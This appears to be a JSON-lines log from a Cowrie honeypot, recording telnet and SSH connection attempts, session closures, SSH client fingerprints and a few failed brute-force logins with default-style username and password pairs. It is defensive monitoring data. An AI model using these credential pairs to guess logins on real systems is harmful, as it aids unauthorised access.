{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":59258,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea21767adb62","protocol":"telnet","message":"New connection: 75.119.159.60:59258 (10.17.0.5:23) [session: ea21767adb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.336642Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59592,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a72450c02e","protocol":"telnet","message":"New connection: 94.23.76.26:59592 (159.203.135.109:23) [session: f7a72450c02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.410628Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59598,"dst_ip":"159.203.135.109","dst_port":23,"session":"4de6b5967297","protocol":"telnet","message":"New connection: 94.23.76.26:59598 (159.203.135.109:23) [session: 4de6b5967297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.927107Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123123","message":"login attempt [root/test123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:11.156707Z","src_ip":"223.197.186.7","session":"f3015a28a854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:11.305975Z","src_ip":"45.78.208.179","session":"e25badd909be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47332,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb25e8b63dd0","protocol":"telnet","message":"New connection: 46.4.8.162:47332 (159.203.135.109:23) [session: fb25e8b63dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:11.313773Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59602,"dst_ip":"159.203.135.109","dst_port":23,"session":"3de913d4e79d","protocol":"telnet","message":"New connection: 94.23.76.26:59602 (159.203.135.109:23) [session: 3de913d4e79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:12.244327Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59612,"dst_ip":"159.203.135.109","dst_port":23,"session":"d114f40ca50c","protocol":"telnet","message":"New connection: 94.23.76.26:59612 (159.203.135.109:23) [session: d114f40ca50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:12.308396Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:12.373391Z","src_ip":"223.197.186.7","session":"f3015a28a854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"99845362fa47","protocol":"telnet","message":"New connection: 35.187.38.22:57196 (159.203.135.109:23) [session: 99845362fa47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:12.496601Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:12.557923Z","src_ip":"45.78.208.179","session":"e25badd909be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.833481550216675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:13.058565Z","src_ip":"94.23.76.26","session":"bd88b7ac9bdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":33650,"dst_ip":"10.17.0.5","dst_port":23,"session":"d89810e676f4","protocol":"telnet","message":"New connection: 75.119.159.60:33650 (10.17.0.5:23) [session: d89810e676f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:13.242174Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59626,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51f928b4f3d","protocol":"telnet","message":"New connection: 94.23.76.26:59626 (159.203.135.109:23) [session: a51f928b4f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:13.268694Z"}
{"eventid":"cowrie.session.closed","duration":38.34765863418579,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:14.683263Z","src_ip":"46.4.8.162","session":"961511012231","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.845484018325806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:14.760355Z","src_ip":"188.166.220.49","session":"0687c3d9284e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59636,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a236bcadeff","protocol":"telnet","message":"New connection: 94.23.76.26:59636 (159.203.135.109:23) [session: 7a236bcadeff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:15.224313Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59644,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d16b252d1e7","protocol":"telnet","message":"New connection: 94.23.76.26:59644 (159.203.135.109:23) [session: 8d16b252d1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:15.231012Z"}
{"eventid":"cowrie.session.closed","duration":30.9654483795166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:15.258102Z","src_ip":"35.187.38.22","session":"d02b6182769a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004698514938354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:15.267264Z","src_ip":"35.187.38.22","session":"4bc23bddef8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":55186,"dst_ip":"159.203.135.109","dst_port":22,"session":"025e261aef65","protocol":"ssh","message":"New connection: 103.148.100.146:55186 (159.203.135.109:22) [session: 025e261aef65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:15.478979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:15.487003Z","src_ip":"103.148.100.146","session":"025e261aef65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47820,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6a3b513b492","protocol":"telnet","message":"New connection: 46.4.8.162:47820 (159.203.135.109:23) [session: c6a3b513b492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:15.584641Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:15.746027Z","src_ip":"103.148.100.146","session":"025e261aef65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.50762748718262,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:16.074547Z","src_ip":"46.4.8.162","session":"4763b0c92496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":54736,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc6d67f6e0f6","protocol":"telnet","message":"New connection: 94.23.76.26:54736 (159.203.135.109:23) [session: bc6d67f6e0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:16.222292Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"72e2de0b171c","protocol":"telnet","message":"New connection: 94.23.76.26:54750 (159.203.135.109:23) [session: 72e2de0b171c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:16.676039Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx#EDC","message":"login attempt [ubuntu/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:16.834042Z","src_ip":"103.148.100.146","session":"025e261aef65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.847298860549927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:18.048703Z","src_ip":"94.23.76.26","session":"dbf461b3c0c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:18.109999Z","src_ip":"103.148.100.146","session":"025e261aef65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":54754,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3b7d5f485e4","protocol":"telnet","message":"New connection: 94.23.76.26:54754 (159.203.135.109:23) [session: f3b7d5f485e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:18.291460Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.123.93","src_port":52816,"dst_ip":"159.203.135.109","dst_port":23,"session":"87a4c4e90166","protocol":"telnet","message":"New connection: 217.156.123.93:52816 (159.203.135.109:23) [session: 87a4c4e90166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:19.953165Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":39214,"dst_ip":"10.17.0.5","dst_port":23,"session":"3428b92f7946","protocol":"telnet","message":"New connection: 75.119.159.60:39214 (10.17.0.5:23) [session: 3428b92f7946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:21.270271Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":54770,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9fe3b84e2fd","protocol":"telnet","message":"New connection: 94.23.76.26:54770 (159.203.135.109:23) [session: f9fe3b84e2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:21.317014Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":39310,"dst_ip":"10.17.0.5","dst_port":23,"session":"6131f2173c0a","protocol":"telnet","message":"New connection: 75.119.159.60:39310 (10.17.0.5:23) [session: 6131f2173c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:21.381942Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47830,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e5686e5b087","protocol":"telnet","message":"New connection: 46.4.8.162:47830 (159.203.135.109:23) [session: 1e5686e5b087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:21.447345Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":39652,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a14b5f39b13","protocol":"telnet","message":"New connection: 75.119.159.60:39652 (10.17.0.5:23) [session: 3a14b5f39b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:21.835112Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":54782,"dst_ip":"159.203.135.109","dst_port":23,"session":"badf0051813f","protocol":"telnet","message":"New connection: 94.23.76.26:54782 (159.203.135.109:23) [session: badf0051813f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:22.647552Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":40564,"dst_ip":"10.17.0.5","dst_port":23,"session":"888ec94e2797","protocol":"telnet","message":"New connection: 75.119.159.60:40564 (10.17.0.5:23) [session: 888ec94e2797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:22.775835Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":54790,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58e7ee5b628","protocol":"telnet","message":"New connection: 94.23.76.26:54790 (159.203.135.109:23) [session: c58e7ee5b628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:22.787004Z"}
{"eventid":"cowrie.session.closed","duration":30.76017737388611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:23.166588Z","src_ip":"75.119.159.60","session":"d8a4ab3511f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.81091237068176,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:23.778299Z","src_ip":"46.4.8.162","session":"af987caf4222","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.77260899543762,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:24.043214Z","src_ip":"46.4.8.162","session":"89fee710afad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.734588861465454,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:24.350441Z","src_ip":"46.4.8.162","session":"6e3465b29c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88550400733948,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:25.175578Z","src_ip":"46.4.8.162","session":"f0f003350191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41578,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c8a78f97eb","protocol":"telnet","message":"New connection: 46.4.8.162:41578 (159.203.135.109:23) [session: 02c8a78f97eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:25.273527Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.123.93","src_port":43012,"dst_ip":"159.203.135.109","dst_port":23,"session":"a46f7e5bf919","protocol":"telnet","message":"New connection: 217.156.123.93:43012 (159.203.135.109:23) [session: a46f7e5bf919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:25.913373Z"}
{"eventid":"cowrie.session.closed","duration":30.82470941543579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:26.056575Z","src_ip":"94.23.76.26","session":"67049fdcaf84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59568,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a35e985dab","protocol":"telnet","message":"New connection: 94.23.76.26:59568 (159.203.135.109:23) [session: f9a35e985dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:26.205141Z"}
{"eventid":"cowrie.session.closed","duration":30.91780734062195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:27.153605Z","src_ip":"75.119.159.60","session":"630953e35879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943375825881958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:27.196373Z","src_ip":"75.119.159.60","session":"a6472c162305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":51080,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeab937d9e13","protocol":"telnet","message":"New connection: 35.187.38.22:51080 (159.203.135.109:23) [session: aeab937d9e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:27.876615Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":45678,"dst_ip":"10.17.0.5","dst_port":23,"session":"916498f322b2","protocol":"telnet","message":"New connection: 75.119.159.60:45678 (10.17.0.5:23) [session: 916498f322b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:29.651692Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":46352,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3c1db77ac4","protocol":"telnet","message":"New connection: 75.119.159.60:46352 (10.17.0.5:23) [session: ba3c1db77ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:30.608931Z"}
{"eventid":"cowrie.session.closed","duration":30.674163579940796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:31.045967Z","src_ip":"94.23.76.26","session":"56151d3ae843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892435312271118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:31.322392Z","src_ip":"217.156.123.93","session":"be7811456501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77884864807129,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:31.878103Z","src_ip":"46.4.8.162","session":"0e5ede7d91b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":47706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cd8d69d6e53","protocol":"telnet","message":"New connection: 75.119.159.60:47706 (10.17.0.5:23) [session: 1cd8d69d6e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:31.987023Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59572,"dst_ip":"159.203.135.109","dst_port":23,"session":"f68733d58a59","protocol":"telnet","message":"New connection: 94.23.76.26:59572 (159.203.135.109:23) [session: f68733d58a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:32.206382Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":51080,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0f3e374336d","protocol":"telnet","message":"New connection: 46.4.8.162:51080 (159.203.135.109:23) [session: a0f3e374336d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:33.086247Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59580,"dst_ip":"159.203.135.109","dst_port":23,"session":"b85b81fe92c7","protocol":"telnet","message":"New connection: 94.23.76.26:59580 (159.203.135.109:23) [session: b85b81fe92c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:33.199866Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":56648,"dst_ip":"159.203.135.109","dst_port":23,"session":"051f8e377f5a","protocol":"telnet","message":"New connection: 35.187.38.22:56648 (159.203.135.109:23) [session: 051f8e377f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:33.315740Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":56682,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dc85b2ed131","protocol":"telnet","message":"New connection: 35.187.38.22:56682 (159.203.135.109:23) [session: 4dc85b2ed131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:33.328559Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":51070,"dst_ip":"159.203.135.109","dst_port":23,"session":"888ecf536f03","protocol":"telnet","message":"New connection: 46.4.8.162:51070 (159.203.135.109:23) [session: 888ecf536f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:33.815211Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":51082,"dst_ip":"159.203.135.109","dst_port":23,"session":"83a519f003bb","protocol":"telnet","message":"New connection: 46.4.8.162:51082 (159.203.135.109:23) [session: 83a519f003bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:34.282795Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59586,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdbb23157934","protocol":"telnet","message":"New connection: 94.23.76.26:59586 (159.203.135.109:23) [session: cdbb23157934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:34.790463Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59600,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f824c946c95","protocol":"telnet","message":"New connection: 94.23.76.26:59600 (159.203.135.109:23) [session: 0f824c946c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:34.846725Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":50920,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd71e52aa3d5","protocol":"telnet","message":"New connection: 75.119.159.60:50920 (10.17.0.5:23) [session: cd71e52aa3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:36.317257Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":33916,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dbaac44b9d2","protocol":"telnet","message":"New connection: 35.187.38.22:33916 (159.203.135.109:23) [session: 0dbaac44b9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:36.947585Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44692,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bee3103da36","protocol":"telnet","message":"New connection: 94.23.76.26:44692 (159.203.135.109:23) [session: 7bee3103da36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:37.289121Z"}
{"eventid":"cowrie.session.closed","duration":31.058305501937866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:38.098420Z","src_ip":"75.119.159.60","session":"bccc08a13d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.296610593795776,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:38.233981Z","src_ip":"46.4.8.162","session":"64090f02bbd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764993906021118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:38.271510Z","src_ip":"35.187.38.22","session":"091da174155c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765210390090942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:39.067822Z","src_ip":"94.23.76.26","session":"4d903fbe8f55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78114891052246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:39.095420Z","src_ip":"75.119.159.60","session":"945b82828895","protocol":"telnet"}
